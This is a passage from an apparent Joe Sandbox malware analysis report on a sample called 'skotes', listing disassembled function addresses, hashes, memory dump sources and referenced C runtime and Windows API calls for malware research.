Instruction ID: c698616a22153091aa2104385caf3af4c2991a547b33ba084407483c4f9252f9
Opcode Fuzzy Hash: 5996a640236e9fdbe0f4941c44af529d8a6b324d935d44e4902ee2f3b9d72781
Instruction Fuzzy Hash: 29F082FB58E1107EB102C6916B5AABE671DFAC6670330C42EF406D2409F5944E4A5175

Function 053602EB Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2955536017.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39ce66e6cc146a05cd27cc5459b58bbcc82e9eec6e01db3d003bf9d178e26707
Instruction ID: 4a5aa6d5e47dd9a0c0c94365243394755f7fae7c02e4699fd6438cadd4e4dc58
Opcode Fuzzy Hash: 39ce66e6cc146a05cd27cc5459b58bbcc82e9eec6e01db3d003bf9d178e26707
Instruction Fuzzy Hash: D7F09E7B64D4202F660BD9F1954F5BA3F09E986671334C85ED041C701CF9548D0B81A8

Function 053602D9 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2955536017.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8114feeefd33ce12247ce8f5440b780dafcacac8405ef64a05540f19dfed1369
Instruction ID: f8ba988fd7649221a96bc621604524fcf4dc6a0a3468c5168e4eba912291c2f7
Opcode Fuzzy Hash: 8114feeefd33ce12247ce8f5440b780dafcacac8405ef64a05540f19dfed1369
Instruction Fuzzy Hash: 2FE0D8AB98C5202EB102D491669A6B9670EFAC6571335942AF40286019F5494D0A55B5

Non-executed Functions

Function 004F31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 004F3323

Strings

1#SNAN, xrefs: 004F44BA
1#QNAN, xrefs: 004F44C1
1#INF, xrefs: 004F44DE
1#IND, xrefs: 004F44B3

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 04355872ffb429b3c0c42152eb15fe26db30e4a3feb13ad2c05177c5885175ea
Instruction ID: e7ad09c8799e55715a881f5c01d0f6a4f6982c7d5709607967e4c68a7d9424c8
Opcode Fuzzy Hash: 04355872ffb429b3c0c42152eb15fe26db30e4a3feb13ad2c05177c5885175ea
Instruction Fuzzy Hash: 53C23A71E0462C8FDB25CE28DD407AAB3B5EB88345F1541EBDA4DE7240E778AE818F45

Function 004F2D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: ff57a01cdbbcb2b3a6a362e610cb417944d259b2441876015bf9b1ab11542f66
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: C8F14E71E012199FDF14CFA9C9806AEB7B1FF88314F25826ED919AB344D735AE01CB94

Function 004CCBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,004CCF52,?,?,?,?,004CCF87,?,?,?,?,?,?,004CC4FD,?,00000001), ref: 004CCC03

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 26c4fc20c1fd518e5699b23b8abee6e183286a5462765743b7fbf373daf9c9b4
Instruction ID: 5dd4c88dfdd6f2d099645377daf7e0033ef48ad6d1a51208c806c5e5bbfadab6
Opcode Fuzzy Hash: 26c4fc20c1fd518e5699b23b8abee6e183286a5462765743b7fbf373daf9c9b4
Instruction Fuzzy Hash: 27D0223A602538A38A052B84EC08EADBB48CA01B603001016E90C232A0CA216C01ABD9

Function 004E7F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 004E80B2

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 3714bfd0e8e9e1f80bfa1e50f3a255538881fc1840dace80864e1eaf9a91d115
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 42519E302086C45AEF38876B88957BF779A9F11317F14051FE48AE7382CE1E9D4A835E

Function 004B4DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5f307cf836db17a147b54c1547e2fe0c5c0f79ab9623336f20c3011a3e376c1
Instruction ID: 582f89829d3587bb769617de6b233ca870d380fef9053315351cfc6dc5abe2f3
Opcode Fuzzy Hash: a5f307cf836db17a147b54c1547e2fe0c5c0f79ab9623336f20c3011a3e376c1
Instruction Fuzzy Hash: C32260B3F515145BDB0CCB9DDCA27ECB2E3AFD8218B0E803DA40AE3345EA79D9159644

Function 004F7049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d93839f1f1e2ad91127329a81d0e24a8daffd94ad61d7ff5fc99e8f7dc2a7d93
Instruction ID: 6dd3a7f95ff56c87396db5fa966afc1b7f5a06d0a1a3c7d818bbf525580ba824
Opcode Fuzzy Hash: d93839f1f1e2ad91127329a81d0e24a8daffd94ad61d7ff5fc99e8f7dc2a7d93
Instruction Fuzzy Hash: 00B15C31614608DFD724CF28C486B657BA1FF45364F258699EA99CF3A1C33DE982CB44

Function 004B4B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a09f6e6cbcb9116f1fe45f8cc8ddb1a608ccbaae21fe9da8cca835cf326734a
Instruction ID: c908d52d4256bb828bc29e264761d26167b862847c9c2f5467dcff98a6b555ef
Opcode Fuzzy Hash: 2a09f6e6cbcb9116f1fe45f8cc8ddb1a608ccbaae21fe9da8cca835cf326734a
Instruction Fuzzy Hash: E0812170A042458FDB15CF69D8907EEBBF5FB9A300F15466EC950A7353C3389949CBA4

Function 004F78BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a5bdf2b9f83b3f2f642da624d0822aafe5fedfa2ddf0bc319e636956ce887df
Instruction ID: ff37dfb64da6992bfee4b956467f3cae2c05a9babb0be4a0917e2e9931a6301d
Opcode Fuzzy Hash: 7a5bdf2b9f83b3f2f642da624d0822aafe5fedfa2ddf0bc319e636956ce887df
Instruction Fuzzy Hash: F421B673F204394B770CC57E8C522BDB6E1C78C541745823AE8A6EA2C1D96CD917E2E4

Function 004F779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 246a138629ff4769cb360780789b5e3d24636632d7a095f732c42456be6015c5
Instruction ID: dc7fc70b7e73ba86f080e1c377826cba69b66e40a0d32e6a06520f9fa4766a5e
Opcode Fuzzy Hash: 246a138629ff4769cb360780789b5e3d24636632d7a095f732c42456be6015c5
Instruction Fuzzy Hash: A9118A23F30C295B675C816D8C172BA95D2DBD825471F533AD826E7284E9A4DE13D290

Function 004F8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 9505f6394ee8e6396c7378ce684d5b208035d300897bc0741e2a74f76910fc76
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 4B112B7720018A43E6089A3DC8B45B7A795EFC53617AC437FD3424F758DA2AD945960C

Function 004E652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 790d12d191489a99c774c959d9baa333f24aecf7ec0daddb271a109e9b4aadfe
Instruction ID: e9a28c02311116fa02cb3e717d7d320a5e0f02669ce79d65dca4b78822b612b2
Opcode Fuzzy Hash: 790d12d191489a99c774c959d9baa333f24aecf7ec0daddb271a109e9b4aadfe
Instruction Fuzzy Hash: BDE08631281188BBCF397B2ADC0DD4D3B5AEB617C6F024815FC144A225CB29ED92C688

Function 004EA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 4a55c1258439a648e9cad3dc7cd418de1e348aaaec5963208e37aec657dd70c0
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 53E08632911168EBCB15DB9AC50498AF3ECEB45B05B55009BF901D3150C274EE00C7D4

Function 004E4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 004E4877
___except_validate_context_record.LIBVCRUNTIME ref: 004E487F
_ValidateLocalCookies.LIBCMT ref: 004E4908
__IsNonwritableInCurrentImage.LIBCMT ref: 004E4933
_ValidateLocalCookies.LIBCMT ref: 004E4988

Strings

csm, xrefs: 004E491D
S9N, xrefs: 004E4925, 004E492E, 004E493F

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9N$csm
API String ID: 1170836740-3115568138
Opcode ID: 28731cc91c87c660e4126385401df67582d45d6a69771bfa52913f666dd56270
Instruction ID: 9de9f4da59c1ddccc40b59d6d59df0e1793adb86e2af616fcad861135ec4f7e2
Opcode Fuzzy Hash: 28731cc91c87c660e4126385401df67582d45d6a69771bfa52913f666dd56270
Instruction Fuzzy Hash: 02512A749001889BCF10DF2AC884AAF7BB5BF85319F148157E814AB352C73ADD15CB95

Function 004B2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 004B2F5F
GetCurrentThreadId.KERNEL32 ref: 004B2F7E
__Mtx_unlock.LIBCPMT ref: 004B2FCC
__Cnd_broadcast.LIBCPMT ref: 004B2FE3
__Mtx_unlock.LIBCPMT ref: 004B30F5
GetCurrentThreadId.KERNEL32 ref: 004B3132
__Mtx_unlock.LIBCPMT ref: 004B319B

Memory Dump Source

